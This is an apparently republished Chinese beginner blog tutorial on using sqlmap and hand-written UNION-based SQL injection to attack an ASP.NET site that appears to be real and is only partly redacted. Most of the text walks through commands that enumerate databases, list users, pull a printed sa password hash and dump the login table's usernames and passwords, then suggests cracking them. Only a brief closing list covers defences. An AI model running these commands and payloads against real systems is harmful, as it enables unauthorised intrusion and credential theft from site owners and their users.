[渗透攻防] 二.SQL MAP工具从零解读数据库及基础用法
這是最近學(xué)習(xí)滲透和網(wǎng)站攻防的文章,希望能深入地學(xué)習(xí)這部分知識,自己作為一個初學(xué)者,前一篇文章從數(shù)據(jù)庫原理解讀了防止SQL注入,這篇文章通過SQLMAP工具簡單介紹SQL注入及用法。自己仍在慢慢探索網(wǎng)絡(luò)攻防和滲透,希望文章對你有所幫助,尤其是學(xué)習(xí)網(wǎng)絡(luò)安全的初學(xué)者,如果文章中存在錯誤或不足之處,還請海涵~
? ? 一.SQLMAP介紹
? ? ? ? 1.基礎(chǔ)介紹
? ? ? ? 2.安裝過程
? ? ? ? 3.漏洞檢測
? ? 二.SQLMAP基礎(chǔ)用法
? ? ? ? 1.獲取所有數(shù)據(jù)庫
? ? ? ??2.獲取當(dāng)前數(shù)據(jù)庫
? ? ? ? 3.獲取數(shù)據(jù)庫所有用戶
? ? ? ??4.獲取數(shù)據(jù)庫當(dāng)前用戶
? ? ? ??5.獲取數(shù)據(jù)庫所有用戶和密碼
? ? ? ??6.獲取數(shù)據(jù)庫所有表
? ? ? ??7.獲取數(shù)據(jù)庫登錄表所有字段
? ? ? ??8.獲取數(shù)據(jù)庫登錄表用戶名和密碼
? ? 三.總結(jié)
? ?
前文欣賞:
[滲透&攻防] 一.從數(shù)據(jù)庫原理學(xué)習(xí)網(wǎng)絡(luò)攻防及防止SQL注入
強(qiáng)推文章:
滲透測試工具sqlmap基礎(chǔ)教程 -?zgyulongfei
一. SQLMAP介紹
1.基礎(chǔ)介紹
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
SQLMAP是一款非常強(qiáng)大的開源滲透測試工具,用于自動檢測和利用SQL注入漏洞控制數(shù)據(jù)庫服務(wù)器的過程。它配備了一個強(qiáng)大的檢測引擎,由Python語言開發(fā)完成,通過外部連接訪問數(shù)據(jù)庫底層文件系統(tǒng)和操作系統(tǒng),并執(zhí)行命令實現(xiàn)滲透。
2.安裝過程
由于它是通過Python語言開發(fā)完成,需要安裝Python環(huán)境,下面開始安裝SQLMAP。
方法一:調(diào)用Pyhon命令pip install sqlmap安裝
方法二:從Github中獲取SQLMAP進(jìn)行安裝
下載地址:https://github.com/sqlmapproject/sqlmap?
3.漏洞檢測
cd去到Python環(huán)境sqlmap文件夾下,運行命令:
輸出GET的四種注入類型,分別為:boolean-based blind、stacked queries、time-based blind、UNION query。這里你可能會發(fā)現(xiàn)和我們的第一篇文章手動講解SQL注入類似,包括:AND 1327=1327、UNION ALL等。
輸出結(jié)果:
(1) 操作系統(tǒng):Windows 2000
(2) Web應(yīng)用技術(shù):ASP.NET,ASP.NET 2.0, ?Microsoft IIS 5.0
(3) 數(shù)據(jù)庫:Microsoft SQL Server 2000
下面通過一個實例進(jìn)行講解SQLMAP的基礎(chǔ)用法。
二. SQLMAP基礎(chǔ)用法
SQLMAP的基礎(chǔ)用法和前面基礎(chǔ)文章類似,都是通過漏洞和SQL語句獲取相關(guān)信息,具體用法如下:
1.獲取所有數(shù)據(jù)庫
參數(shù):--dbs
命令:
2.獲取當(dāng)前數(shù)據(jù)庫
參數(shù):--current-db
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-db 運行結(jié)果如下圖所示,獲取9個數(shù)據(jù)庫。其中--current-db參數(shù)表示當(dāng)前數(shù)據(jù)庫,相當(dāng)于前文MSSQL的db_name()獲取數(shù)據(jù)庫字段。?
輸出結(jié)果:akykd_new
對應(yīng)前文:
? ? http://xxxxx/show.asp?code=-1' union all?
? ? select?1,null,3,null,null,6,host_name(),@@version,db_name(),10 --??
輸出結(jié)果如下所示:
? ? 附件3:ahykd_new
其中數(shù)據(jù)庫的名稱就是ahykd_new,接下來相同的道理獲取數(shù)據(jù)庫所有表及列。
3.獲取數(shù)據(jù)庫所有用戶
參數(shù):--users
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --users 運行結(jié)果如下圖所示,獲取2個用戶庫。
輸出結(jié)果:兩個用戶
? ? (1)BUILTIN\\Adminstrators
? ? (2)sa
4. 獲取數(shù)據(jù)庫當(dāng)前用戶
參數(shù):--current-user
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --current-user 運行結(jié)果如下圖所示,獲取當(dāng)前數(shù)據(jù)庫用戶sa。
5. 獲取數(shù)據(jù)庫所有用戶和密碼
參數(shù):--passwords
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" --passwords 運行結(jié)果如下圖所示,獲取數(shù)據(jù)庫用戶和密碼。
輸出結(jié)果:
database management system users password hashes:
[*] BUILTIN\\Administrators [1]:
? ? password hash: NULL
[*] sa [1]:
? ? password hash: 0x01006e27653a36bbc7907ec45a0060e0c5065ea5172f249faa73ba704d1440b4ec497e552b6c1c27a6a34b7f575b
6. 獲取數(shù)據(jù)庫所有表
參數(shù):-D ahykd_new?--tables
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new --tables 運行結(jié)果如下圖所示,獲取數(shù)據(jù)庫ahykd_new的所有表,其中-D表示數(shù)據(jù)庫,--tables表示所有表。
通過人為猜解,知道登陸表位usr。
對應(yīng)前文:
? ? http://xxxxx/show.asp?code=-1' union all?
? ? select?1,null,3,null,null,6,7,8,
? ? (select top 1 name from sysobjects where type='U'),10 --
輸出結(jié)果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:kc_jxjd
其中top 1 name用于輸出1個字段 ,sysobjects中u為用戶表。
7. 獲取數(shù)據(jù)庫登錄表所有字段
參數(shù):-D?ahykd_new -T usr?--columns
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr --columns 運行結(jié)果如下圖所示,獲取數(shù)據(jù)庫ahykd_new的登錄表usr所有字段,其中-D表示數(shù)據(jù)庫,-T表示表,--columns表示usr表所有列。
是不是感覺到了SQLMAP的強(qiáng)大,其中用戶名usr_name、密碼passwd。
對應(yīng)前文:
? ? http://xxxxx/show.asp?code=-1' union all?
? ? select?1,null,3,null,null,6,7,8,
? ? (select top 1 name from syscolmns where id=object_id('usr')),10 --
輸出結(jié)果如下所示:?
? ? 附件1:7
? ? 附件2:8
? ? 附件3:answer
其中top 1 name用于輸出1個字段,表usr的一個列表。
8. 獲取數(shù)據(jù)庫登錄表用戶名和密碼
參數(shù):-D?ahykd_new -T usr?-C "usr_name,password"?--dump ?
命令:
python sqlmap.py -u "http://.../tztgxx.aspx?code=115" -D ahykd_new -T usr -C "usr_name,password"?--dump? 獲取數(shù)據(jù)庫ahykd_new的登錄表usr所有字段,其中-D表示數(shù)據(jù)庫,-T表示表,-C表示輸出字段(usr_name、passwd),--dump輸出所有值。
如果字段內(nèi)容太多,可以設(shè)置輸出個數(shù),如10個用戶名和密碼。
參數(shù):-D ahykd_new -T usr -C "usr_name,passwd" --start 1 --stop 10 --dump
命令:
正常的輸出結(jié)果例如下圖所示,再通過md5解密即可。
三. 總結(jié)
真正的困難在于如何找到一個存在漏洞的網(wǎng)站,如何去防護(hù)?,F(xiàn)在很多網(wǎng)站都應(yīng)做好相關(guān)防御措施,手工SQL注入是沒有反應(yīng)的,但是找到漏洞后,再利用SQLMAP就能夠找到相應(yīng)的用戶名和密碼。
參考前文,個人理解的防御措施:
? ? 1.在URL設(shè)置不允許非法字符,如單引號、等號、注釋--、減號,提示非法參數(shù);
? ? 2.在URL設(shè)置不允許SQL常見的關(guān)鍵詞,如and、select、or、insert等;
? ? 3.傳遞的id=115參數(shù)必須為數(shù)字才能正常跳轉(zhuǎn),否則跳轉(zhuǎn)錯誤;
? ? 4.服務(wù)器啟用SQL注入攔截功能,提示當(dāng)前網(wǎng)頁的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墻攔截,因為可能通過POST、Cookies進(jìn)行攻擊,各方面都需要做到防御。
? ? 5.可以使用JS在客戶端進(jìn)行不安全字符屏蔽,也可以在jsp中調(diào)用該函數(shù)檢查是否包函非法字符,或使用正則表達(dá)式過濾傳入的參數(shù),防止SQL從URL注入。
希望文章對你有所幫助,尤其是網(wǎng)絡(luò)安全的程序員,因為系列文章是和前文息息相關(guān)的,所以看著有些凌亂。如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,學(xué)中文的扔掉了手中的尤克里里,教我寫代碼也是很瘋狂的啊,哈哈!不忘初心,繼續(xù)前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-17 晚上12點??http://blog.csdn.net/eastmount/?)
總結(jié)
以上是生活随笔為你收集整理的[渗透攻防] 二.SQL MAP工具从零解读数据库及基础用法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [渗透攻防] 一.从数据库原理学习网络攻
- 下一篇: [渗透攻防] 四.详解MySQL数据库攻